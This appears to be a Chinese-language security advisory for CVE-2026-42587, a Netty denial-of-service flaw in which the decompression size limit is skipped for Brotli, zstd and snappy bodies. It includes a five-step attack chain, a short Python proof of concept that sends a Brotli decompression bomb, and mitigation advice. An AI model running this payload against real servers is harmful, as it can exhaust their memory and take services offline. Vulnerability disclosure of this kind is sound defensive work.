IPBUF安全漏洞报告
English
CVE-2026-42587 CVSS 7.5 高危

CVE-2026-42587 Netty解压缩限制绕过导致DoS漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-42587
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Netty

相关标签

DoSNettyDecompression BombMemory ExhaustionCVE-2026-42587

漏洞概述

Netty是一个异步事件驱动的网络应用框架。在4.2.13.Final和4.1.133.Final之前的版本中,HttpContentDecompressor组件存在安全漏洞。虽然该组件通过maxAllocation参数限制了gzip和deflate的解压缩缓冲区大小以防止解压缩炸弹攻击,但在处理br(Brotli)、zstd或snappy编码时,该限制被静默忽略。攻击者可利用此漏洞通过发送特制的压缩数据包绕过限制,导致服务端无限制分配内存,进而引发内存耗尽型拒绝服务攻击。

技术细节

该漏洞的根源在于Netty的HttpContentDecompressor组件在解压缩逻辑实现上的差异。虽然框架引入了maxAllocation参数旨在限制解压缩缓冲区大小以防御解压缩炸弹攻击,且在处理gzip和deflate格式时能正确执行该限制,但在处理Brotli (br)、zstd及snappy编码格式时,限制逻辑被绕过。攻击者可以通过构造包含恶意压缩数据的HTTP请求,并将Content-Encoding头指定为上述未受保护的编码类型,从而触发漏洞。服务器在处理此类请求时,会忽略预设的内存分配阈值,导致内存无限增长,最终引发OutOfMemoryError,造成服务拒绝。该漏洞同样影响HTTP/2连接处理中的DelegatingDecompressorFrameListener类。

攻击链分析

STEP 1
侦察
攻击者识别出使用受影响版本Netty(< 4.1.133.Final 或 < 4.2.13.Final)的目标服务器,并确认其启用了内容解压缩功能。
STEP 2
制作
攻击者构造一个恶意的高压缩比文件(解压缩炸弹),例如使用Brotli算法将大量重复数据压缩成较小的数据包。
STEP 3
传输
攻击者向目标服务器发送HTTP请求,将Content-Encoding头设置为br、zstd或snappy,并附上恶意压缩载荷。
STEP 4
利用
服务器接收请求后,HttpContentDecompressor在处理br等编码时忽略了maxAllocation限制,开始解压数据并分配大量内存。
STEP 5
影响
服务器内存迅速耗尽(OOM),导致服务崩溃或无法响应正常用户的请求,达成拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-42587 # This script demonstrates how a payload with Content-Encoding: br can bypass allocation limits. import requests import brotli target_url = "http://vulnerable-target:8080/upload" # Create a large payload that expands significantly (Decompression Bomb) # In a real scenario, a small compressed size expands to gigabytes of data. large_payload = "A" * 10000000 compressed_payload = brotli.compress(large_payload.encode('utf-8')) headers = { "Content-Encoding": "br", # Using Brotli to bypass the maxAllocation check "Content-Type": "application/octet-stream", "Accept-Encoding": "br" } try: print(f"Sending compressed payload ({len(compressed_payload)} bytes)...") response = requests.post(target_url, data=compressed_payload, headers=headers) print(f"Response Status: {response.status_code}") except Exception as e: print(f"Request failed: {e}")

影响范围

Netty < 4.2.13.Final
Netty < 4.1.133.Final

防御指南

临时缓解措施
如果无法立即升级,建议在反向代理或负载均衡器层面配置严格的请求体大小限制,或者禁用服务器对Brotli、Zstandard及Snappy压缩算法的支持,仅使用受maxAllocation参数保护的Gzip或Deflate压缩,直到完成版本更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表